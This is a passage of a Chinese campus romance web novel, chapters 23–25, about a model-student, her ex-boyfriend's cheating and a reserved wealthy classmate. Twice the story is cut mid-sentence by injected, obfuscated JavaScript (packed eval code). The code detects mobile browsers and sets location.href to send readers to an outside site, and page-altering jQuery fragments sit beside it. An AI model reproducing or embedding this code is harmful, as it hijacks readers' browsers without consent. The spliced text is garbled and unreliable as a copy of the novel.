鼻梁高挺直翘,嘴唇红润,显得懒散矜贵的同时又多了一丝若有似无的迷蒙宠溺。 良久,他轻笑了声,坐直身体从许还今手中接过笔,手指无意间触碰,传递过来偏热的温度。 “参加,我写给你。” 23. 第 23 章 王行泽看着祁绍从年龄、籍贯写到手机号,详细的就差没把银行卡密码写上去了,他觉得事情开始有点不对劲了。 写完,许还今也觉得写的太详细了些,但是转念一想,自己确实也没说要写什么内容,是她没说清楚,便也没有多问。 浅薄的纸张被重新放进包里,祁绍率先起身:“走吧,送你回学校。” * 许还今以为的回学校,是大家在校门口分别,但祁绍跟了上来:“我送你回寝室。” 祁绍和大多数男生不一样的是,他身上没有烟味,即使刚才喝了那么酒也只沾染了稍微淡淡的酒气。 夏夜微风轻扫,南江大学的道路上也有不少情侣吃过晚饭后携手散步,路灯把男生的影子拉长,即使刻意躲避,许还今仍旧能注意到他的影子晃在自己眼前。 她悄然扯了下身侧背包的细带,下意识地收拢视线。 这几乎成为了一种习惯,是即使许还今再也没有那样的念头,却还是会遵循着某种隐秘的惯例。 不直视,不出现,比起正脸,更熟悉的是他的背影。 安静的环境让人无所适从,许还今出声询问:“你下午说找我有事,是什么事情?” 男生今天似乎格外懒散,步伐也迈得不快,闻言转过头看了身边的女生一眼。 她今天穿了一件白色的收腰T恤,腰很细,刚才吃饭的时候她把头发扎起,仅剩下耳边几缕微散的发丝。 黑发更衬得她皮肤白腻,她没有化妆,但依旧很漂亮,大方风情。 以祁绍这个视角看,还能看到她毛绒的发顶和漆黑纤长的睫毛,似乎比往常多了几分乖软的感觉。 祁绍伸手摁了摁自己后颈,想说你不懂我要讲什么? 但是没说出来,不想讲,他轻咳几声说道:“没事,王行泽想问问你们宿舍那个短头发女生的联系方式。” 他说的应该是康婷,许还今笑起来,说:“她有男朋友了,抱歉。” “这样,回头我告诉王行泽,”祁绍点点头,也没装什么遗憾,就说:“让他死心。” 眨眼间走到超市,女生宿舍还要往左拐,再走个几分钟,许还今忽然停下脚步说:“你等你我一下。” “嗯?哦好,”祁绍应道。 女生走向便利店,过了几分钟才出来,手上拿了瓶牛奶,递给祁绍:“解酒的,记得喝。” 牛奶瓶温热,从她的手里传到祁绍手中。 祁绍忽然想起来一件事,之前陈深谈恋爱的时候有几次聚餐喝完酒不回宿舍,说去找他女朋友,毛猴他们问起来,说陈深别tm醉的一头栽到哪了,第二天还要兄弟们去找。 陈深总是洋洋自得地接话说:“我和你们这些单身狗不一样,我运气好,有女朋友给我煮醒酒汤。” 南江大学的宿舍不能用电器,有些情侣做爱心便当还需要千求万恳,借用楼下宿管阿姨的锅。 从这个角度看,陈深确实,运气挺不错的。 祁绍稍微握紧牛奶瓶,说了句谢谢。 “没关系,今天谢谢你请的晚饭,下次有机会我请你们,”许还今话锋一转,问:“不过,你想和我说的事情真是王行泽吗?” 她很聪明,也知道像祁绍这样的人,根本就不会为了谁专门过来问陌生女生的联系方式。 祁绍嗯了一声。 许还今抿唇微笑,没有再多强问真假,说道:“我先走了,不用送了。” 她转身正要走,祁绍忽然又叫住她:“许还今。” 许还今转头。 祁绍站在一盏路灯下,光线从他头顶洒落,勾勒出清晰的轮廓。 他脸上那点酒后慵懒的神色淡了些,眼神比刚才在餐厅里清醒许多,稍微颔首说:“早点休息。” 许还今愣神,很快反应过来,说:“你也是。” 远处,秦新月刚从宿舍出来正要去体育馆参加训练,刚走到便利店外就注意到了那边的许还今。 她嘀咕了句这么晚才回来,刚要扭头,却又敏锐地发现许还今应该是正在和谁说话。 正对面人的声音被茂盛的梧桐树遮挡,看不清是谁,但看样子是个男生,因为许还今微微抬头和对方说话。 秦新月顿时朝旁边躲了躲,拿出手机对准那边拍了张照片。 * 祁绍回到宿舍时,王行泽正站在楼道里等他,见到他回来连忙迎上去问:“你跟嫂子说了没有?” “说什么?” “说你对她没兴趣,还能说什么?” 王行泽的困惑都快溢出来了:“你今天怎么回事,她让你写联系方式你就写,还写的那么详细,就差没把银行卡密码说出来了……” 祁绍打开牛奶瓶,漫不经心地问:“我没写银行卡密码?” “对啊,就差银行卡密码没写了……” 祁绍往下灌了口牛奶,温润的牛奶顺着喉咙往下,冲淡了胃部的不适感。 然后轻描淡写地说:“哦,我下次写给她。” “……,”王行泽:“??!兄弟你在说什么?” * 南江大学的篮球赛定在周末。 考虑到各个学院的课表不一样,所以当天没有安排正式的开幕式。 只有上午有第一场比赛的文学院组织了放飞气球的活动。 许还今拿着相机拍了几张照片。 上午有两场比赛,打的中规中矩。 陈深作为体育部的副部长也来了,他几次想找许还今说话,许还今都躲开了。 中午吃过饭,她把拍的照片发给了新媒体社的社长,社长说下午需要采访几个球员,出一下新闻稿。 许还今的工作不变,还是和另外一名女生负责拍照摄像就好。 许还今在工作群里发了个好,赵悦说:“下午估计操场人会多起来,大家多拍几张观众多的照片,别显得咱们这个活动办的太冷清。” 下面有人问为什么人会多,赵悦语音回复:“下午有金融学院的比赛,段正年要来。” 作为学校知名的富二代公子哥,段正年还是有一定号召力的,下午的观众果然要比上午多,而且更让人意想不到的是,祁绍也过来了。 一个学校最有知名度的帅哥也就那几个,看来看去总会有点腻。 但祁绍对于大部分学生来说是新面孔,又是一顶一的帅哥,往那一站能把全场都比下去。 一传十十传百,比赛还没开始,体育馆的看台上已经坐满了看热闹的学生。 许还今戴着学生会的工作牌和几个新媒体的同学坐在一块,身边姓牛的同学感叹道:“还是帅哥吸引人,社长早点把经管学院的请过来,咱们也不用费劲地到处找角度拍人多的场面了。” 另外一名姓马的学生说:“祁绍?怎么以前从来没见过?这么帅!!” “你见过啊,”赵悦说:“刚开学的那会,在咱们校园墙上疯狂刷屏的金融系帅哥,就是祁绍,你别告诉我你们不看校园墙。” 她这么一说,其他人也回忆起来了。 马同学一拍大腿:“原来是他,我以为是哪个国外的混血明星!” 牛同学补充:“他怎么突然出现了,去年一整年都没见过他……” 杨悦说:“这就不知道了。想见趁着这个机会多拍几张照片,刚好提升咱们公众号的阅读量。” 几个同学得到建议纷纷举起摄像机,连许还今的相机也被旁边人举起。 吵闹的体育场中,祁绍坐在最边缘的位置。 他向来不喜欢热闹,但偏偏又极其受欢迎,挑的是偏僻的位置,可是他坐下身边同寝室的人也跟着坐下。 段正年也过去找他,然后逐渐发展成所有人都围着他坐,众星捧月般。 旁边的人催促许还今拍照,他的身影在镜头中放大,光圈缩小,成像从模糊到清晰。 许还今没有单独拍祁绍,还拍下了他旁边的舍友和其他人,算是一张不太冒犯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080232|195166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记录观众席的照片。 但正当许还今要摁下快门时,那边的男生却似乎感应到了什么。 他抬起头,望向镜头,嘴角微微勾起。 正好镜头定格。 祁绍的唇线长得极好,就像男生中很少会见到直翘鼻一样,他的唇形也是少见的微起伏的“M”形。 弧度不大,因此在给予容貌精致感的同时又兼具了男性硬朗的气质。 即使许还今见过不少登上过杂志封面的男模,也从没见过像祁绍这么得天独厚的容貌。 多少男模打针整形也想要一个有别于其他人的五官,好在竞争激烈的市场中占据一份优势。 祁绍一人就占尽风光。 如果他去做模特肯定是公司的当家招牌。 许还今指尖隐颤,她放下相机,即使对方可能听不到,也说了句抱歉。 旁边社团的人迫不及待地拿起相机翻看照片,边看边激动地说:“啊啊祁绍在笑吗,笑起来也帅!!” “让我看看,真的耶!” …… * 下午经管系和药学院有场比赛,但让大家失望的是祁绍没上场。 全程都在当预备役。 倒是篮球社的几人全上去了,王行泽打后卫,段正年中锋,他女朋友的苏清涵也到场了。 她穿了件水红色的短裙,大大方方地站在观众席给段正年加油。 中场休息时就赶紧给他递水擦汗,娇气温柔,没让其他女生有一点机会。 苏清涵也认识祁绍,许还今跟着社团的人去采访的时候听见她正在和祁绍打招呼:“小舅好,您也来看比赛?” 祁绍对段正年的历任女朋友都仅有个模糊的影响,甚至有些他都没见过。 祁绍点头,其实他身边围绕的女生也不少,但前后左右都是他宿舍里的人,帮他拒绝了大部分的桃花。 苏清涵递给祁绍一瓶水,旁边段正年搂过她把水抽走,说:“干什么,当着我的面给其他男人递水?” “这是小舅你干嘛呀,”苏清涵故作嫌弃地推他:“你身上都是汗,走开啦!” 当着祁绍的面段正年收敛几分,毕竟祁绍是真能让他滚。 他放开苏清涵说:“赶紧说声谢谢小舅,你拍摄的首饰都是小舅借的。” 苏清涵闻言听话地温声说:“谢谢小舅。” 祁绍接过旁边王行泽递过来的矿泉水说:“没事。” 不远处,许还今这边正在他们后几排采访一个药学院的男生。 新闻社的采访来来回回就那几句话,累不累,有没有信心赢比赛,今天和队友配合的怎么样。 许还今拿着笔记本记录。 忽然,身后有人靠近,烟味混合着燥热感,声音低沉,“一会给我拍几张照片。” 声音是段正年,他随心所以惯了,女朋友就在前面也敢弯腰凑在许还今耳边说话。 所幸这边大家都在忙,加上人多嘈杂,很少有人注意这边的动静,就算看到了也只当段正年是在问她事情。 许还今心底划过一丝烦躁,她没搭话,接着安静地低头记采访词。 下半场经管学院这边打得很猛,光段正年和王行泽两人就频频得分,把药学院那边打的垂头丧气。 一场比赛很快结束。 许还今没有拍段正年的照片,即使是比赛最后他刻意往这边看了一眼。 许还今只当没看见,比赛结束新闻社收工,社长嘱咐说让大家把今天拍的照片发在群里。 许还今走下看台,正打算走。 绕过篮球场时,旁边忽然飞出一只篮球。 球体速度快,许还今避之不及,她下意识地偏头躲避。 但意料的疼痛并没有传来,祁绍不知道什么时候出现,稳稳地接住球,反手砸回去。 被砸的人压根没敢躲,结实沉闷的一声“咚!” 祁绍的声音难得沉冷:“段正年,滚过来道歉。” 24. 第 24 章 谁都没想到祁绍会在这个时候出声。 他不经常发火,甚至大部分时候都是以一副没所谓的状态示人。 因此偶尔的那一句重话就显得尤为让人胆颤。 段正年是但凡美女他都想泡一下。 但他也没想到自己小舅会注意到这边的动静。 见状松开勾着王行泽脖子的手,审时度势地走过来装老实说:“对不起啊,刚才扔球的时候没注意。” 苏清涵也赶紧走过来问许还今:“还今你没事吧,有没有受伤?对不起正年他也是不小心,你别和他计较……” 这边的动静吸引了球场上大部分人的注意,不少球员,还有一些没来得及走的观众都往这边看。 许还今不想节外生枝,说道:“没事,下次当心些。” 虽然是向许还今道歉,但是她说了这句话之后,所有人的目光不约而同地看向祁绍。 仿佛他才是全场唯一一个有资格说这件事算了的人。 祁绍皱眉:“去把球捡起来,下次当心。” 他发话段正年不敢忤逆,当着众人的面过去捡球。 * 许还今在食堂排队吃饭,口袋里手机响个不停。 刚才在操场的那一幕吸引了许多人的主意,宿舍群里康婷和薛彩正在疯狂弹消息。 许还今点完餐,趁着有空拿出手机看了一眼。 康婷【啊啊祁绍今天去操场了?】 薛彩【他是不是说话了,好帅啊,英雄救美/点赞/点赞】 康婷【段正年也有吃瘪的时候?我男朋友说他平时可拽了,看起来还是小舅比较牛逼】 康婷【还今还今快出来,有没有被小舅迷倒?】 许还今在宿舍群里回复了个笑脸表情,发道【没有,我在食堂,需要帮忙带饭吗?】 提到吃的,话题总算从祁绍身上下去,薛彩说【我我,帮我带一份牛肉炒河粉!!】 X.【嗯】 她关掉手机,拿着刚点好的素菜正要找座位坐下,身后有人叫她:“嫂……许还今!” 许还今循声回头,看见王行泽正在角落里冲她招手,“这,这!” 许还今走过去才发现祁绍也在,只是刚好被柱子挡住了。 听见脚步声,他抬眼看许还今,眼珠黑润。 许还今莫名地心里紧张了下,过了几秒才状似自然地打招呼说道:“今天谢谢你。” 祁绍略微颔首,他想起什么,轻勾嘴角说道:“没事,把我拍的好看点就行。” 说的是操场上许还今拍他的事情,原来他的确是发现了。 不想他误会,许还今顿时解释说:“我不是故意要拍你,是新媒体社需要拍摄观众席的照片,如果你介意的话我回去就删掉。” 是不是故意拍的不好说,毕竟祁绍看见的是她举着相机。 镜头还,精准的对着自己。 祁绍挺讨厌别人拍他的,虽然他母亲从事时尚行业,在祁绍出生后,董女士也有意向把他往这方面培养。 比如让祁绍帮忙给她设计的珠宝拍展示图。 但祁绍不想拍,他小时候也不喜欢说话。 据董女士说他整天一个人玩,家里甚至一度怀疑他有自闭症。 长大之后祁绍好歹会跟别人说几句话,但还是不喜欢拍照。 不过对于许还今拍的那张照片,祁绍没多抗拒。 他只是觉得,许还今敢在大庭广众之下对着他拍还挺大胆的。 感情能让人做到这种地步? 祁绍也不好让人真把照片删了,他起身给许还今让座说道:“不介意,拍吧。” 两个人说话像打哑谜,旁边的王行泽听的云里雾里的,半天才终于听懂。 拍祁绍?! 当时还这么多人在场呢?陈深这顶帽子戴的够绿的。 对面,许还今推辞祁绍的让座,王行泽赶紧说:“没事,你坐你坐,我们俩吃好了。” 许还今这才坐下。 出了餐厅,王行泽迫不及待地问:“她拍你,你怎么不让她把照片删了?” 食堂外面天色渐晚,祁绍随口回道:“你想让自己去。” “我去什么,她又不是喜欢我,”王行泽说:“不是嫂子这也太大胆了,当时人那么多她都敢拍你,陈深这帽子戴的够绿的。” “别乱说,”祁绍说。 王行泽正经了点,综合以上信息,为兄弟的前途担忧:“你注意点吧,我觉得嫂子段位挺高的,你别被她玩了。” “……,”祁绍:“滚,别乱说。” * 许还今吃完饭帮薛彩点了一份牛肉炒河粉回到寝室。 宿舍里真好薛彩在,见到许还今兴奋地起身接过自己的饭:“谢谢许女神,多少钱,我发给你?” “16,不着急你先吃吧。” 说着,康婷也推门进来,放下包看了一圈问道:“新月又不在宿舍?她最近去哪了?” 秦新月连着快两周都不在学校住,每天靠着蹭薛彩的门禁出门。 偶尔宿舍阿姨查寝大家也必须变着法帮她想理由。 薛彩虽然和秦新月同班,两人的关系按理说也比宿舍其他人更加亲近,但对秦新月的动向也不甚清楚。 她边拆包装边说:“不知道,可能是那个追求对象邀请她出去玩了?” “有没有危险啊,”康婷担心地说:“要不打个电话问问?” “哪有危险,”薛彩倒是不担心这个:“她又不是傻子,我待会吃完饭问问。” “行你记得问问。” 康婷转过头,凑到许还今面前,打趣地问:“篮球赛怎么样啊,有没有遇到什么帅哥?” 许还今无奈地说:“在忙工作,没时间看。” “哪里没时间了,”康婷说:“祁绍不是在那吗,今天还有人问我要他联系方式,我说我哪里有啊。” 薛彩也接话:“祁绍真的很帅,唯一的问题就是他跟陈深一个宿舍,不然还今你可以试试哈哈哈哈。” 康婷深有同感:“可惜啊,全怪陈深,不过你们俩真的没可能复合了吗?” 在康婷和薛彩的视角看来其实她分手的很突然,也没先兆突然就分了。 许还今坐下打开电脑,点头,语气虽然不重但可以听出坚定的意思,说道:“不会复合了,好啦,别开玩笑了。” “好吧。” 宿舍里各自忙碌,许还今把今天拍摄的照片导入电脑,整理好,正打算发给赵悦时。 鼠标悬停在一张观众席的照片上。 过了几秒,点开放大。 这张照片的构图还可以,虽然拍摄的人物很多,但画面的中心点仍然在祁绍身上。 半敞式的体育馆,阳光从窗外洒进来,空气中扬起的灰尘纤毫分明,淡橘色的光芒正在落在他左肩。 像是镀了一层金带。 他嘴角微扬,笑容不热烈,但浑身散发着让人舒适的少年感。 会不自觉地让人联想到起昂贵的雪松后调的香水。 想起烈日炎炎下,冰饮杯上薄薄的水雾,想起午后夕阳下的绿荫,想起冻成冰沙的西瓜芯…… 总之,是一切闲适美好的词。 许还今稍微垂了下眼,内心犹豫着回想起食堂里他说的那句话, 应该是不想被拍的意思? 许还今摁了摁眉心,数着文件里的照片,去掉祁绍的那张也还有十四张,发推文绰绰有余。 她最终还是把那张照片去掉了,点击发送。 刚发完,打开手机。 弹出一连串的消息,基本全是陈深发来的。 许还今食指在手机侧边摩挲几秒,打开看。 一连串的【宝宝你有事吗?有没有伤到哪里?】 【段正年这人纯傻逼,你下次离他远点】 【明天的篮球赛喂哦也在,我们见见面,我很想你宝宝】 …… 许还今安静地扫完这些消息,没有回话。 说实话,她和陈深在一起时的感情不是假的,许还今至今还能想起来当初他来浦江找自己。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087829|195166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那时候许还今没钱,和别人合租在偏僻的民房里。 陈深来之前给她发消息,说他已经到浦江了,问许还今住在哪。 其实上学那会陈深对许还今的意思就很明显,他会经常在vx上给她留言,发消息,在班级时也会有意无意地找她说话。 只是许还今实在没有心思谈恋爱,这种程度的示好也没法触动她。 但是镇川离浦江很远,远到从那里过来几乎可以称得上是长途跋涉,许还今以为他跟自己开玩笑。 她发过去一个“?”号,那边陈深发过来自己和浦江车站的合照。 到晚上陈深真的到了,背着书包站在巷子口等她,他还没来得及订酒店。 许还今和合租的舍友说了,对方是一对夫妻,同意陈深在这留宿一晚。 一米八几的男生缩在客厅狭窄的沙发上,许还今有些错愕问他为什么过来,晚上睡的难受吗? 陈深打量了下周围的环境说:“你怎么辛苦都没说难受我有什么资格说?” 许还今愣了一秒。 不过片刻还是很快微笑,说道:“习惯了。” 她那几天少接了几个通告陪陈深到处逛逛。 大家都是学生,尽管许还今在挣钱但是大部分的钱,一部分要留作学费,一部分还要寄给家里,身上能花的钱不多。 陈深出来也带了钱,拼拼凑凑,他们去江边,去了迪士尼,去了著名的网红餐厅。 陈深后面去住酒店了,但是每天都会准时在许还今下班的地方接她,给她带奶茶,陪她回家,幽深的巷子里他们偶尔会说几句玩笑话。 他临走前的最后一天是许还今生日。 那天她下班已经是晚上十一点多了,陈深却依旧订了一家餐厅。 本来人家都已经要关门了,是他一个劲地打电话说再等等。 蛋糕,生日宴,烛光下许还今闭眼许愿。 陈深始终在笑着看她,到了大学,两人顺理成章的在一起。 那些过往的一切都不是假的。 但陈深此时的说谎也不是假的,有时候许还今感觉自己也很割裂,她一边回想当初那些温暖的瞬间,一边又要直视此刻的现实。 倘若陈深真的把手表找到了,许还今觉得她应该还会再给对方一个机会。 可是陈深没有。 许还今额角隐隐作痛,没有回话,再次把陈深的号码拉黑。 * 酒店。 陈深正趴在床上,队里聚餐,他最近心情不佳,连喝了好几瓶酒,喝到醉醺醺的去酒店开了一间房。 他醉醺醺地拿出手机看,点开和许还今的对话框,上面没有新消息。 他又编辑了一条发过去,屏幕上顿时冒出个红色的感叹号。 陈深瞬间暴怒,骂了声操他妈的,起身一拳打在床板上,咚的一声。 磨砂玻璃的卫生间传来水声,随即门被拉开,秦新月穿着宽松的浴袍从里面走出来。 她头发还没擦干,湿漉漉地往下滴水,秦新月一手挽着头发柔声问道:“怎么了,喝醉了还发这么大火?” 陈深听见房间里还有人似乎愣了下,问:“你怎么还在这?” 秦新月隐秘地翻了个白眼,但表面依旧故作天真地上前,坐在床上往陈深身上贴:“我不想走,还想留下来陪你嘛。” 女生坐下时浴袍散落,露出洁白的皮肤和胸前的柔软细嫩。 陈深醉酒后的大脑让他无法深入思考,他下意识地搂住对方说:“还是你乖。” 陈深的手机还在亮着,只一眼秦新月就明白了,她腿往上蹭着陈深的腿根,持续撩拨说:“早说了人家有喜欢的人才和你分手的,你干嘛非要往上贴,我喜欢你还不好吗?” “那不一样,”陈深手探入她的浴袍说:“没证据别乱说。” “有证据,”秦新月嘤咛一声搂住他的脖子:“你发我三千我就把照片给你看。” 陈深血脉偾张,翻身压住她:“去你妈的,这个时候还敢跟我提钱?” …… 25. 第 25 章 大部分院系的篮球队都是临时组建起来的,水平还处在菜鸡互啄的地步,球打的也缺乏观赏性。 所以初赛基本没有学生来看,观众席上少数几个人也基本都是各个学院组织来加油的。 比赛基本都安排在周三下午和周末,许还今这两周偶尔被叫过去帮忙拍照写新闻稿,一周可能去一次,也不算很忙。 但是因为日程琐碎,再加上还有一个多月就要期末考,许还今干脆就没有再多接拍摄。 奖学金加上珠宝拍摄的酬劳应该刚好够她下个学期的学费,实在不行暑假还可以工作。 许还今对她自己的生活有较为清晰的认知,也会严格遵照事情的轻重缓急来安排行程,这是长久以来养成的习惯。 与其说是自律,不如说更像是一种没有试错成本下的自保。 只要她的生活出现差错,带来的后果一定会比其他人更严重,这一点许还今很早就清楚。 秦新月周四的时候回了宿舍,一回去就收拾行李箱,说他们体操队要出去比赛,为期五天。 这次的比赛是全国大学生体操联赛,规格很高,薛彩没被选上,但她志不在此也不觉得伤心,反而觉得刚好不用外出奔波了。 宿舍三人都在,薛彩盘坐在椅子上看着秦新月收拾东西,问道:“这次谁带队啊,你们是住酒店还是住他们提供的宿舍?” 秦新月一边把衣服放进行李箱一边说:“钱老师,安排在哪都无所谓,反正我自己出去住酒店,省得麻烦。” 她想起来什么,从旁边的背包里拿出两支防晒霜递给康婷和薛彩:“给你们,这个牌子特别好用,我今天去专柜买的。” 许还今背对着她们在写新闻稿,看不见后面的动静,但也听到了秦新月说的这句话。 一个宿舍三个人,她只送给另外两人礼物,是什么意思很清楚。 反正总不会是某些善意的因素。 被送礼物的两人大概也感受到气氛的微妙,干巴巴地说了句谢谢,连一向热心肠的康婷都半天才憋出一句:“其实我防晒还有,要不你自己用吧……” “拿着,”秦新月故意皱眉凶道:“我可是专门给你们买的,干吗嫌弃啊?” “不是不是,”康婷连忙说:“就是……太贵了,我不好意思收……” “哎呀有什么不好意思的,又不是付的钱,”秦新月重新蹲下收拾行李,拿着吧。 接下来的几分钟宿舍没人再说话,寂静中许还今察觉到自己再接着待在这可能会让所有人都觉得尴尬,她站起来,打算去卫生间洗个手就去图书馆学习。 再出来薛彩和康婷相约去走廊接水了,宿舍里就剩下秦新月在。 她看到许还今出来,忽然又状似试探地问道:“那个防晒霜挺贵的,我想着你化妆品多,多半也不缺这一支就没给你买,你不会介意吧?” 说真的,其实秦新月有时候对她的那些微妙的敌意很明显。 只是许还今经常不在宿舍,回来也基本是卸妆睡觉,和她的交际很少,才显得相安无事。 她为人争强好胜,这种性格的人会和周围的人攀比,比成绩,比长相,比人缘,但凡别人有一项比她好,她就会不舒服,从而有意无意的打压贬低,针对。 有时候这些行为会被伴以一个正当的理由,比如“她活该啊,谁知道她背地里是什么人,拿什么挣钱。”“她性格不好,不合群……” 用恶意的猜测来合理化自己的行为。 当然,这无可厚非,有人的地方就有竞争,这一点在模特圈也很常见。 模特圈是个机器看重身材看重容貌的地方,因为往往外表意味着资源,意味曝光度,意味着金钱。 每年大批的帅哥美女入行,背地里勾心斗角的小动作也不少,可能上一秒表面跟你卿卿我我,下一秒就能在背后议论你的是非。 之前许还今还见过有人为了时尚资源大打出手。 那次是一个美妆广告,本来定了一个长相偏阴柔的男模拍。 本来估计的这个形象符合当下潮流,结果预告刚发出去,合作方被骂了上千条,不得已又换成女模拍。 谁成想拍摄当天,被退货的男生带了两个助理到现场打闹,东西砸了一地。 后来那个女生被传谣说谁谁的小三就是男生团队干的。 可笑的是他们俩的社交平台上还放着亲密的聚餐合照。 许还今在这里圈子里待久了,见过的人也多,有些事情她很敏感,秦新月的恶意她当然能感觉到。 之所以不挑明,也是因为她压根没必要在意。 许还今伸手那书架上的书,敛睫说:“没事,我不需要。我还有事,陈深约我图书馆。” 秦新月不禁一愣:“他约你?!” “嗯,”许还今说:“他给我发了几张照片,说前几天的事情是有人从中作梗,他已经认识到错误了,会把事情都告诉我,让我再给他一次机会。” 许还今声音不重,但是落在秦新月耳朵里却像是惊涛骇浪。 等等陈深这个傻叉不会真要挽回许还今吧,他还喜欢许还今这点秦新月清楚。 那照片? 什么照片,不会是前几天酒店的照片把?陈深什么时候偷拍了?! 以他那个蠢货一根筋的性格,如果被许还今哄几句倒确实有可能干出这种事。 如果他要把照片发给许还今,后果一定不堪设想。 到时候许还今会不会和陈深复合不好说,但自己就有把柄落在她手里了! 秦新月心脏猛跳,立马紧张起来,她结结巴巴地问:“什么,什么内情啊,陈深,陈深他骗你吧,你千万别上当。” “他骗我吗?” “是啊,他,”秦新月心里把陈深骂了千万遍,找话说道:“他在训练场就经常胡编乱造,你一定别相信他,对了,今天我约了一家餐厅哎,要不我们宿舍一起出去吃饭饭吧?” 她慌忙找补,许还今抬眼看她。 女生眼下茂密的睫毛勾出一片阴翳,明明骨骼立体,绝非朴素寡淡的长相,可是气质却显得格外安静。 像烈日炎炎下夏日墙角边的阴影,又像是被过分茂密的树木遮蔽,阳关透不进走廊,那种晴空下无声的静谧。 仿佛她在旁观一切,夏天的喧嚣,寂静,都在她眼里。 秦新月在这种目光下语速渐渐变慢,尽管她也不知道为什么。 良久,许还今笑了一下,红润的嘴角轻抿:“你不用紧张,我前几天就把他拉黑了。” 秦新月短促地“啊”了一声。 许还今合上电脑,语调平和,听不出生气或者是其他情绪:“其实,如果我是你就不会再接着挑衅。我们之间无论是专业、工作还是人际关系基本都不重合,即使你针对我,和我竞争,哪怕赢了也不会得到实际的利益,这只会浪费你的精力。 “而且你的手段不高明,有些嫉妒会让人身败名裂,丢掉工作,放弃学业,这些你做不到。我不在意你,也无心和任何人一较高下,过好自己的生活,我不缺一支防晒霜。” 秦新月很少听见许还今说这么长的一番话,她顿时有点懵。 眼睁睁地看着许还今收拾好东西,拿着电脑出门。 室内重新陷入安静,片刻,秦新月猛然愤狠地踹了下行李箱,东西霎时间散落一地。 * 许还今走出宿舍大楼,迎面还撞见了陈深。 他似乎一直在这等着,看见许还今立马上前想拉住她的手:“还今,你听我说几句,我马上要去比赛,最近几天都不在学校,这是给你带了礼物,宝宝收下好不好?” 他手里提着一个纸袋,上面印着的化妆品logo赫然和刚才秦新月拿的防晒霜一致。 许还今实在不想再和他说什么,扬手挣开,置若罔闻地往前走。 “还今,还今!” 大概是女生宿舍这边人多,动静大容易引起别人的旁观,陈深追了几步,也看出许还今不想搭理他,渐渐停住脚步。 从宿舍走到图书馆,里面开了空调,短暂地冲淡了一路走过来的热腻感。 她没想到今天居然会在图书馆遇见祁绍他们。 是她刚走进图书馆选了个角落的位置坐下正伸手扎起头发,旁边有人试探性地打招呼:“嫂子?” 许还今把头发挽成低丸子头,抬起眼,看到了坐在邻桌的王行泽,何所,还有祁绍。 后者听见声音从电脑前抬头,没开口说话,只是略微点头权当打过招呼。 何所也赶紧跟了一句:“来图书馆学习?” 图书馆安静,许还今轻声回话说:“嗯,你们是在?” 何所说:“祁绍他们上完课过来帮我搞论文数据。” 许还今点点头,聊了两句,很快各忙各的。 那边转过头王行泽撞了下祁绍的肩膀。 图书馆的座位是三个一排,祁绍坐在中间,他低头看睡觉,没理王行泽。 王行泽又低咳两声抬眼,这下何所作为图书馆的常客,义正言辞地说话了:“你生病就出去咳,老打扰人家学习,没素质。” 王行泽:“……” 他暂时安静了。 祁绍帮何所跑好数据后才拿起手机,上面王行泽发过来一句话 【你说她是不是因为你才来的图书馆?】 这个“她”指的是谁不言而喻。 祁绍没回话,王行泽低声问何所:“学长你天天在图书馆,之前有没有看过来嫂子来这?” 何所仔细想想,片刻后摇头。 王行泽顿时朝祁绍摊手,挤眉弄眼,一副“看我说的没错吧,人家就是为了你来”的样子。 祁绍摁了摁后颈,视线余光里看到旁边的女生正在翻书,眼睫低垂,倒是真看不出来会做出这种事。 挺离谱的,祁绍把手机倒扣,没理王行泽。 * 许还今在图书馆待了一个多小时,看了几页书,注意力难得的不集中,怎么都看不进去,中途新媒体那边通知让她去开个会,她便起身。 刚动,旁边的三人也站起来。 王行泽顿时又撞撞祁绍的肩膀,许还今没有注意到这个细节,他们和许还今在同一趟电梯上。 王行泽健谈问许还今去哪,许还今回答说新媒体有个会议要去参加。 祁绍倒是没说话,他进电梯就站在旁边看手机,到电梯下降到三楼时,门开,外面一下涌进来十几个人。 本来电梯空间就不大,七八个人进来电梯的空间瞬间变得狭窄,许还今都已经往旁边站了,但是前面两个男生还是往后挤,许还今微皱眉。 她正要再往后让,旁边 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“不用了,”许还今拒绝说:“我再看会书,你们去吧。” “噢噢噢好,”何所没有多推辞。 许还今坐下接着复习,但她今天注意力很难集中。 思绪混乱的一会想着刚才会议上社长说的新闻稿的事情,一会想着接下来的拍摄安排,偶尔也会闪过一两帧的陈深和秦新月。 好半天,她揉揉额头,打开手机看时间已经快十一点了,快到宿舍的门禁时间,她干脆起身结束今天的学习。 这个时间点南江大学的主干道上学生寥寥无几,离门禁时间还有十几分钟,但许还今走的并不快。 晚风吹得她裸露在外的手臂一阵发凉,许还今抬手摁摁眉心,难得感觉到了一丝疲惫。 她放慢脚步,尽量延缓回宿舍的时间给自己留出更多的放空时间。 许还今经过男女宿舍楼分岔路口的超市时,祁绍刚和王行泽,何所从外面吃完夜宵回来,几人正在里面选饮料。 祁绍拿饮料的货架正对着外面的马路。 空荡的路上只有几盏路灯散发着淡黄色的点光。 女生的身影从灯下经过时特别显眼。 她做模特的身高自然够,加上皮肤白气质好,任何人只要往外一看都会情不自禁地注意她。 祁绍伸手拿饮料,这个时候才对自己以前居然真没有关于许还今的印象稍微感觉到了稀奇。 他以前这么没眼光?不过这个点她不回寝室? 王行泽拿了两罐啤酒,过来看见祁绍正看向窗外,顺着他的目光也注意到了许还今。 